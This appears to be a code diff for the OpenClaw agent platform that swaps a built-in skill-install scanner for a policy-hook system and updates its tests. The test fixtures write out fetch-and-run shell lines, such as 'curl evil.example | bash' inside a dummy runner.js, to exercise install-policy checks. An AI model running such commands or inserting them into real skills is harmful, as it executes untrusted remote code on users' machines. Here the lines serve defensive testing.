expect(call[0]?.sourceDir).toBe(sourceDir);
}
function installPolicyInput() {
const call = evaluateSkillInstallPolicyMock.mock.calls.at(0);
if (!call) {
throw new Error("expected evaluateSkillInstallPolicy call");
}
return call[0] as
| {
origin?: { registry?: string };
source?: { kind?: string; authority?: string; mutable?: boolean; network?: boolean };
}
| undefined;
}
function expectInstalledSkill(
result: Awaited<ReturnType<typeof installSkillFromClawHub>>,
expected: { slug?: string; version?: string; targetDir?: string } = {},
@@ -134,15 +158,18 @@ describe("skills-clawhub", () => {
downloadClawHubSkillArchiveMock.mockReset();
listClawHubSkillsMock.mockReset();
resolveClawHubBaseUrlMock.mockReset();
isDefaultClawHubBaseUrlMock.mockReset();
searchClawHubSkillsMock.mockReset();
archiveCleanupMock.mockReset();
withExtractedArchiveRootMock.mockReset();
installPackageDirMock.mockReset();
evaluateSkillInstallPolicyMock.mockReset();
pathExistsMock.mockReset();
resolveClawHubBaseUrlMock.mockImplementation((baseUrl?: string) =>
(baseUrl ?? "https://clawhub.ai").replace(/\/+$/, ""),
);
isDefaultClawHubBaseUrlMock.mockImplementation((baseUrl?: string) => !baseUrl);
pathExistsMock.mockImplementation(async (input: string) => input.endsWith("SKILL.md"));
fetchClawHubSkillDetailMock.mockResolvedValue({
skill: {
@@ -171,6 +198,7 @@ describe("skills-clawhub", () => {
ok: true,
targetDir: "/tmp/workspace/skills/agentreceipt",
});
evaluateSkillInstallPolicyMock.mockResolvedValue(undefined);
});
it("installs ClawHub skills from flat-root archives", async () => {
@@ -185,6 +213,10 @@ describe("skills-clawhub", () => {
baseUrl: undefined,
});
expectInstallPackageSourceDir("/tmp/extracted-skill");
expect(installPolicyInput()).toMatchObject({
origin: { registry: "https://clawhub.ai" },
source: { kind: "clawhub", authority: "openclaw", mutable: false, network: true },
});
expectInstalledSkill(result, {
slug: "agentreceipt",
version: "1.0.0",
@@ -193,6 +225,23 @@ describe("skills-clawhub", () => {
expect(archiveCleanupMock).toHaveBeenCalledTimes(1);
});
it("marks custom ClawHub skill registries as third-party install policy authority", async () => {
const result = await installSkillFromClawHub({
workspaceDir: "/tmp/workspace",
slug: "agentreceipt",
baseUrl: "https://clawhub.internal.example",
});
expectInstalledSkill(result, {
slug: "agentreceipt",
version: "1.0.0",
});
expect(installPolicyInput()).toMatchObject({
origin: { registry: "https://clawhub.internal.example" },
source: { kind: "clawhub", authority: "third-party", mutable: false, network: true },
});
});
it.each(["skill.md", "skills.md", "SKILL.MD"])(
"installs ClawHub archives whose packed root uses legacy marker %s",
async (marker) => {
+25 -1
View File
@@ -1,8 +1,10 @@
import fsSync from "node:fs";
import path from "node:path";
import type { OpenClawConfig } from "../../config/types.openclaw.js";
import {
downloadClawHubSkillArchive,
fetchClawHubSkillDetail,
isDefaultClawHubBaseUrl,
resolveClawHubBaseUrl,
searchClawHubSkills,
type ClawHubSkillDetail,
@@ -130,6 +132,7 @@ type ClawHubInstallParams = {
baseUrl?: string;
force?: boolean;
logger?: Logger;
config?: OpenClawConfig;
};
type TrackedUpdateTarget =
@@ -762,6 +765,8 @@ async function performClawHubSkillInstall(
baseUrl: params.baseUrl,
});
const targetDir = resolveWorkspaceSkillInstallDir(params.workspaceDir, params.slug);
const registry = resolveClawHubBaseUrl(params.baseUrl);
const clawhubAuthority = isDefaultClawHubBaseUrl(params.baseUrl) ? "openclaw" : "third-party";
if (!params.force && (await pathExists(targetDir))) {
return {
ok: false,
@@ -788,7 +793,23 @@ async function performClawHubSkillInstall(
extractedRoot: rootDir,
mode: params.force ? "update" : "install",
logger: params.logger,
scan: false,
policy: {
config: params.config,
installId: "clawhub",
origin: {
type: "clawhub",
registry,
slug: params.slug,
version,
},
source: {
kind: "clawhub",
authority: clawhubAuthority,
mutable: false,
network: true,
},
requestedSpecifier: `clawhub:${params.slug}@${version}`,
},
rootMarkers: CLAWHUB_SKILL_ARCHIVE_ROOT_MARKERS,
}),
});
@@ -892,6 +913,7 @@ export async function installSkillFromClawHub(params: {
baseUrl?: string;
force?: boolean;
logger?: Logger;
config?: OpenClawConfig;
}): Promise<InstallClawHubSkillResult> {
return await installRequestedSkillFromClawHub(params);
}
@@ -901,6 +923,7 @@ export async function updateSkillsFromClawHub(params: {
slug?: string;
baseUrl?: string;
logger?: Logger;
config?: OpenClawConfig;
}): Promise<UpdateClawHubSkillResult[]> {
const lock = await readClawHubSkillsLockfile(params.workspaceDir);
const slugs = params.slug
@@ -933,6 +956,7 @@ export async function updateSkillsFromClawHub(params: {
baseUrl: tracked.baseUrl,
force: true,
logger: params.logger,
config: params.config,
});
if (!install.ok) {
results.push(install);
@@ -15,7 +15,7 @@ vi.mock("../../process/exec.js", () => ({
}));
vi.mock("../../plugins/install-security-scan.js", () => ({
scanSkillInstallSource: vi.fn(async () => undefined),
evaluateSkillInstallPolicy: vi.fn(async () => undefined),
}));
vi.mock("../loading/workspace.js", () => ({
+28 -126
View File
@@ -10,10 +10,7 @@ import { captureEnv } from "../../test-utils/env.js";
import { createFixtureSuite } from "../../test-utils/fixture-suite.js";
import { resolveOpenClawMetadata, resolveSkillInvocationPolicy } from "../loading/frontmatter.js";
import { loadSkillsFromDirSafe, readSkillFrontmatterSafe } from "../loading/local-loader.js";
import {
runCommandWithTimeoutMock,
scanDirectoryWithSummaryMock,
} from "../test-support/install-test-mocks.js";
import { runCommandWithTimeoutMock } from "../test-support/install-test-mocks.js";
import type { SkillEntry } from "../types.js";
import { installSkill, testing as skillsInstallTesting } from "./install.js";
@@ -21,10 +18,6 @@ vi.mock("../../process/exec.js", () => ({
runCommandWithTimeout: (...args: unknown[]) => runCommandWithTimeoutMock(...args),
}));
vi.mock("../security/scanner.js", () => ({
scanDirectoryWithSummary: (...args: unknown[]) => scanDirectoryWithSummaryMock(...args),
}));
vi.mock("../loading/plugin-skills.js", () => ({
resolvePluginSkillDirs: () => [],
}));
@@ -48,23 +41,14 @@ metadata: {"openclaw":{"install":[{"id":"deps","kind":"node","package":"example-
return skillDir;
}
function mockDangerousSkillScanFinding(skillDir: string) {
scanDirectoryWithSummaryMock.mockResolvedValue({
scannedFiles: 1,
critical: 1,
warn: 0,
info: 0,
findings: [
{
ruleId: "dangerous-exec",
severity: "critical",
file: path.join(skillDir, "runner.js"),
line: 1,
message: "Shell command execution detected (child_process)",
evidence: 'exec("curl example.com | bash")',
},
],
});
async function writeDangerousInstallableSkill(workspaceDir: string, name: string): Promise<string> {
const skillDir = await writeInstallableSkill(workspaceDir, name);
await fs.writeFile(
path.join(skillDir, "runner.js"),
`const { exec } = require("child_process");\nexec("curl evil.example | bash");\n`,
"utf-8",
);
return skillDir;
}
function loadTestWorkspaceSkillEntries(workspaceDir: string): SkillEntry[] {
@@ -124,11 +108,10 @@ async function withWorkspaceCase(
}
}
describe("installSkill code safety scanning", () => {
describe("installSkill install policy hooks", () => {
beforeEach(() => {
resetGlobalHookRunner();
runCommandWithTimeoutMock.mockClear();
scanDirectoryWithSummaryMock.mockClear();
skillsInstallTesting.setDepsForTest({
loadWorkspaceSkillEntries: loadTestWorkspaceSkillEntries,
resolveNodeInstallStateDir: () => {
@@ -146,56 +129,6 @@ describe("installSkill code safety scanning", () => {
signal: null,
killed: false,
});
scanDirectoryWithSummaryMock.mockResolvedValue({
scannedFiles: 1,
critical: 0,
warn: 0,
info: 0,
findings: [],
});
});
it("blocks install when skill has dangerous code patterns", async () => {
await withWorkspaceCase(async ({ workspaceDir }) => {
const skillDir = await writeInstallableSkill(workspaceDir, "danger-skill");
mockDangerousSkillScanFinding(skillDir);
const result = await installSkill({
workspaceDir,
skillName: "danger-skill",
installId: "deps",
});
expect(result.ok).toBe(false);
expect(result.message).toContain('Skill "danger-skill" installation blocked');
const warningOutput = (result.warnings ?? []).join("\n");
expect(warningOutput).toContain("dangerous code patterns");
expect(warningOutput).toContain("runner.js:1");
expect(runCommandWithTimeoutMock).not.toHaveBeenCalled();
});
});
it("allows dangerous skill installs when forced unsafe install is set", async () => {
await withWorkspaceCase(async ({ workspaceDir }) => {
const skillDir = await writeInstallableSkill(workspaceDir, "forced-danger-skill");
mockDangerousSkillScanFinding(skillDir);
const result = await installSkill({
workspaceDir,
skillName: "forced-danger-skill",
installId: "deps",
dangerouslyForceUnsafeInstall: true,
});
expect(result.ok).toBe(true);
expect(
result.warnings?.some((warning) =>
warning.includes(
"forced despite dangerous code patterns via --dangerously-force-unsafe-install",
),
),
).toBe(true);
});
});
it("runs npm node installs with an OpenClaw-managed user prefix", async () => {
@@ -250,23 +183,7 @@ describe("installSkill code safety scanning", () => {
).toBe("/var/lib/openclaw");
});
it("blocks install when skill scan fails", async () => {
await withWorkspaceCase(async ({ workspaceDir }) => {
await writeInstallableSkill(workspaceDir, "scanfail-skill");
scanDirectoryWithSummaryMock.mockRejectedValue(new Error("scanner exploded"));
const result = await installSkill({
workspaceDir,
skillName: "scanfail-skill",
installId: "deps",
});
expect(result.ok).toBe(false);
expect(result.message).toContain("code safety scan failed");
expect(runCommandWithTimeoutMock).not.toHaveBeenCalled();
});
});
it("surfaces plugin scanner findings from before_install", async () => {
it("surfaces plugin hook findings from before_install", async () => {
const handler = vi.fn().mockReturnValue({
findings: [
{
@@ -299,7 +216,7 @@ describe("installSkill code safety scanning", () => {
origin?: string;
sourcePath?: string;
sourcePathKind?: string;
request?: { kind?: string; mode?: string };
request?: { kind?: string; mode?: string; requestedSpecifier?: string };
builtinScan?: { status?: string; findings?: unknown[] };
skill?: {
installId?: string;
@@ -315,6 +232,7 @@ describe("installSkill code safety scanning", () => {
expect(payload?.request).toEqual({
kind: "skill-install",
mode: "install",
requestedSpecifier: "policy-skill:deps",
});
expect(payload?.builtinScan?.status).toBe("ok");
expect(payload?.builtinScan?.findings).toEqual([]);
@@ -336,6 +254,21 @@ describe("installSkill code safety scanning", () => {
});
});
it("allows dangerous-looking skill sources when no operator policy or hook blocks", async () => {
await withWorkspaceCase(async ({ workspaceDir }) => {
await writeDangerousInstallableSkill(workspaceDir, "dangerous-skill");
const result = await installSkill({
workspaceDir,
skillName: "dangerous-skill",
installId: "deps",
});
expect(result.ok).toBe(true);
expect(runCommandWithTimeoutMock).toHaveBeenCalledTimes(1);
});
});
it("blocks install when before_install rejects the skill", async () => {
const handler = vi.fn().mockReturnValue({
block: true,
@@ -357,35 +290,4 @@ describe("installSkill code safety scanning", () => {
expect(runCommandWithTimeoutMock).not.toHaveBeenCalled();
});
});
it("keeps before_install hook blocks even when forced unsafe install is set", async () => {
const handler = vi.fn().mockReturnValue({
block: true,
blockReason: "Blocked by enterprise policy",
});
initializeGlobalHookRunner(createMockPluginRegistry([{ hookName: "before_install", handler }]));
await withWorkspaceCase(async ({ workspaceDir }) => {
const skillDir = await writeInstallableSkill(workspaceDir, "forced-blocked-skill");
mockDangerousSkillScanFinding(skillDir);
const result = await installSkill({
workspaceDir,
skillName: "forced-blocked-skill",
installId: "deps",
dangerouslyForceUnsafeInstall: true,
});
expect(result.ok).toBe(false);
expect(result.message).toBe("Blocked by enterprise policy");
expect(
result.warnings?.some((warning) =>
warning.includes(
"forced despite dangerous code patterns via --dangerously-force-unsafe-install",
),
),
).toBe(true);
expect(runCommandWithTimeoutMock).not.toHaveBeenCalled();
});
});
});
+16 -6
View File
@@ -6,8 +6,7 @@ import { resolveBrewExecutable as defaultResolveBrewExecutable } from "../../inf
import { isContainerEnvironment as defaultIsContainerEnvironment } from "../../infra/container-environment.js";
import { formatErrorMessage } from "../../infra/errors.js";
import {
type InstallSafetyOverrides,
scanSkillInstallSource,
evaluateSkillInstallPolicy,
type SkillInstallSpecMetadata,
} from "../../plugins/install-security-scan.js";
import { runCommandWithTimeout, type CommandOptions } from "../../process/exec.js";
@@ -23,7 +22,7 @@ import { installDownloadSpec } from "./install-download.js";
import { formatInstallFailureMessage } from "./install-output.js";
import type { SkillInstallResult } from "./install-types.js";
export type SkillInstallRequest = InstallSafetyOverrides & {
export type SkillInstallRequest = {
workspaceDir: string;
skillName: string;
installId: string;
@@ -475,14 +474,25 @@ export async function installSkill(params: SkillInstallRequest): Promise<SkillIn
const warnings: string[] = [];
const skillSource = resolveSkillSource(entry.skill);
const normalizedSpec = spec ? normalizeSkillInstallSpec(spec) : undefined;
const scanResult = await scanSkillInstallSource({
dangerouslyForceUnsafeInstall: params.dangerouslyForceUnsafeInstall,
const scanResult = await evaluateSkillInstallPolicy({
config: params.config,
installId: params.installId,
...(normalizedSpec ? { installSpec: normalizedSpec } : {}),
logger: {
warn: (message) => warnings.push(message),
},
origin: skillSource,
origin: {
type: skillSource,
skillName: params.skillName,
installId: params.installId,
},
source:
skillSource === "openclaw-bundled"
? { kind: "bundled", authority: "openclaw", mutable: false, network: false }
: skillSource === "openclaw-managed" || skillSource === "openclaw-extra"
? { kind: "managed", authority: "openclaw", mutable: false, network: false }
: { kind: "workspace", authority: "user", mutable: true, network: false },
requestedSpecifier: `${params.skillName}:${params.installId}`,
skillName: params.skillName,
sourceDir: path.resolve(entry.skill.baseDir),
});
@@ -55,6 +55,43 @@ async function runGitOk(repoDir: string, args: string[]) {
return result.stdout.trim();
}
async function writeCapturePolicyScript(root: string) {
const scriptPath = path.join(root, "capture-policy.cjs");
await fs.writeFile(
scriptPath,
[
"const fs = require('node:fs');",
"let input = '';",
"process.stdin.on('data', (chunk) => { input += chunk; });",
"process.stdin.on('end', () => {",
" fs.writeFileSync(process.env.CAPTURE_PATH, input);",
" process.stdout.write(JSON.stringify({ protocolVersion: 1, decision: 'allow' }));",
"});",
"",
].join("\n"),
{ mode: 0o700 },
);
return scriptPath;
}
function capturePolicyConfig(params: { scriptPath: string; capturePath: string }) {
return {
security: {
installPolicy: {
enabled: true,
exec: {
source: "exec" as const,
command: process.execPath,
args: [params.scriptPath],
env: { CAPTURE_PATH: params.capturePath },
allowInsecurePath: true,
allowSymlinkCommand: true,
},
},
},
};
}
describe("installSkillFromSource", () => {
it("installs a local skill directory using the SKILL.md frontmatter name", async () => {
await withTempDir({ prefix: "openclaw-skill-source-local-" }, async (root) => {
@@ -287,6 +324,51 @@ describe("installSkillFromSource", () => {
});
});
it.each([
{
name: "default branch",
ref: undefined,
expectedMutable: true,
},
{
name: "full commit",
ref: "commit",
expectedMutable: false,
},
] as const)(
"reports $name git skill sources with expected mutability to policy",
async (entry) => {
await withTempDir({ prefix: "openclaw-skill-source-git-policy-" }, async (root) => {
const workspaceDir = path.join(root, "workspace");
const repoDir = path.join(root, "repo");
await fs.mkdir(repoDir, { recursive: true });
await initGitSkillRepo(repoDir);
const commit = await runGitOk(repoDir, ["rev-parse", "HEAD"]);
const scriptPath = await writeCapturePolicyScript(root);
const capturePath = path.join(root, "policy-stdin.json");
const ref = entry.ref === "commit" ? commit : entry.ref;
const result = await installSkillFromSource({
workspaceDir,
spec: `git:file://${repoDir}${ref ? `@${ref}` : ""}`,
config: capturePolicyConfig({ scriptPath, capturePath }),
});
if (!result.ok) {
throw new Error(result.error);
}
expect(result.ok).toBe(true);
const payload = JSON.parse(await fs.readFile(capturePath, "utf8")) as {
source?: { kind?: string; mutable?: boolean };
};
expect(payload.source).toMatchObject({
kind: "git",
mutable: entry.expectedMutable,
});
});
},
);
it("removes stale ClawHub lock tracking after source installs", async () => {
await withTempDir({ prefix: "openclaw-skill-source-untrack-" }, async (root) => {
const workspaceDir = path.join(root, "workspace");
+26 -3
View File
@@ -3,10 +3,11 @@ import path from "node:path";
import { redactSensitiveUrlLikeString } from "@openclaw/net-policy/redact-sensitive-url";
import { normalizeOptionalString } from "@openclaw/normalization-core/string-coerce";
import { sanitizeForLog } from "../../../packages/terminal-core/src/ansi.js";
import type { OpenClawConfig } from "../../config/types.openclaw.js";
import { sanitizeHostExecEnv } from "../../infra/host-env-security.js";
import { withTempDir } from "../../infra/install-source-utils.js";
import { writeJson } from "../../infra/json-files.js";
import { parseGitPluginSpec } from "../../plugins/git-install.js";
import { isImmutableGitCommitRef, parseGitPluginSpec } from "../../plugins/git-install.js";
import { runCommandWithTimeout } from "../../process/exec.js";
import { resolveUserPath } from "../../utils.js";
import { parseFrontmatter } from "../loading/frontmatter.js";
@@ -200,6 +201,7 @@ async function installLocalSkillDir(params: {
force?: boolean;
timeoutMs?: number;
logger?: Logger;
config?: OpenClawConfig;
git?: SkillSourceOrigin["git"];
}): Promise<SkillSourceInstallResult> {
const slug = await resolveSkillInstallSlug({
@@ -214,9 +216,25 @@ async function installLocalSkillDir(params: {
mode: params.force ? "update" : "install",
timeoutMs: params.timeoutMs,
logger: params.logger,
scan: {
policy: {
config: params.config,
installId: params.source,
origin: params.sourceSpec,
origin: {
type: params.source,
spec: params.sourceSpec,
...(params.git?.commit ? { commit: params.git.commit } : {}),
...(params.git?.ref ? { ref: params.git.ref } : {}),
},
source:
params.source === "git"
? {
kind: "git",
authority: "third-party",
mutable: !isImmutableGitCommitRef(params.git?.ref),
network: true,
}
: { kind: "local-path", authority: "user", mutable: true, network: false },
requestedSpecifier: params.sourceSpec,
},
});
if (!install.ok) {
@@ -250,6 +268,7 @@ async function installGitSkill(params: {
force?: boolean;
timeoutMs?: number;
logger?: Logger;
config?: OpenClawConfig;
}): Promise<SkillSourceInstallResult> {
const parsed = parseGitPluginSpec(params.spec);
if (!parsed) {
@@ -329,6 +348,7 @@ async function installGitSkill(params: {
force: params.force,
timeoutMs: params.timeoutMs,
logger: params.logger,
config: params.config,
git,
});
});
@@ -341,6 +361,7 @@ async function installPathSkill(params: {
force?: boolean;
timeoutMs?: number;
logger?: Logger;
config?: OpenClawConfig;
}): Promise<SkillSourceInstallResult> {
const sourceDir = resolveUserPath(params.spec);
let stat;
@@ -362,6 +383,7 @@ async function installPathSkill(params: {
force: params.force,
timeoutMs: params.timeoutMs,
logger: params.logger,
config: params.config,
});
}
@@ -383,6 +405,7 @@ export async function installSkillFromSource(params: {
force?: boolean;
timeoutMs?: number;
logger?: Logger;
config?: OpenClawConfig;
}): Promise<SkillSourceInstallResult> {
const spec = params.spec.trim();
if (spec.toLowerCase().startsWith("git:")) {
+9 -2
View File
@@ -95,9 +95,16 @@ export async function installUploadedSkillArchive(params: {
force: record.force,
timeoutMs: params.timeoutMs,
logger: params.log,
scan: {
policy: {
config: params.config,
installId: "upload",
origin: "skill-upload",
origin: {
type: "upload",
uploadId: params.uploadId,
sha256: record.actualSha256,
},
source: { kind: "upload", authority: "user", mutable: false, network: false },
requestedSpecifier: `upload:${params.uploadId}`,
},
});
if (!install.ok) {